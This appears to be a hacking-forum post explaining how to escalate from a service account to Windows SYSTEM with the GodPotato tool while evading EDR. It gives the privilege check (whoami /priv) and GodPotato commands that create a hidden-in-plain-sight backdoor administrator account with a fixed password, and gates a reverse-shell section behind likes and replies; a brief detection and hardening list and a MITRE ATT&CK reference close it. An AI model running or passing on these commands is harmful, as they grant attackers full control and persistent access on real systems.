DIAMOND How To Bypass EDR via GodPotato Token Theft (Admin To Syetem)

[TheMekanic]

[ Hidden Content! ]

1. The Concept: What is GodPotato?Standard "Potato" attacks (like Juicy or Rotten) rely on the BITS service or spoofing a local listener to intercept a SYSTEM token. Modern EDRs heavily signature these specific behaviors. GodPotato is the 2025 evolution; it leverages the DCOM (Distributed Component Object Model) activation trigger to force the
 

Code:

NT AUTHORITY\SYSTEM

account to authenticate against a local rogue server, providing a clean, hard-to-detect path to SYSTEM.
2. How to: Identify the OpportunityBefore running the exploit, you must verify that your current process has the right to impersonate tokens. This is common in service accounts (IIS, SQL, etc.).
Check Privileges:
DOS
 

Code:

whoami /priv

Look for

Code:

SeImpersonatePrivilege

. If it's "Enabled," the system is vulnerable.
3. How to: Execute the BypassUsing the GodPotato binary, we can execute commands directly as SYSTEM. By using the
 

Code:

-cmd

flag, we avoid launching a persistent shell that might trigger EDR heuristics.
Execute a Command:

Code:

GodPotato.exe -cmd "net user admin_backdoor Password123 /add" GodPotato.exe -cmd "net localgroup administrators admin_backdoor /add"

Why this bypasses EDR: Unlike older methods that use the
 

Code:

AuthUX

or
 

Code:

BITS

services, GodPotato utilizes the
 

Code:

DCOM

network stack locally. Most EDRs treat DCOM communication as "normal" system behavior, making the token theft much harder to distinguish from legitimate OS activity.

---

4. [HIDE] Advanced: Spawning a Reverse Shell [/HIDE]

To see how to pipe a SYSTEM-level Reverse Shell through GodPotato without touching the disk, please Like and Reply to this thread!

---

5. How to: Defend & Detect

• Privilege Least-Requirement: Audit service accounts and remove
   
  
  Code:

  SeImpersonatePrivilege
  where it isn't strictly necessary.
  
• RPC/DCOM Monitoring: Monitor for unusual local RPC connections or DCOM object activations originating from low-privilege service accounts.
  
• ASR Rules: Implement Windows Attack Surface Reduction (ASR) rules to block process creations originating from compromised service accounts.
  

6. Resources

• MITRE ATT&CK: T1134.001 - Access Token Manipulation: Token Impersonation
  
• Project Source: GitHub - BeichenDream/GodPotato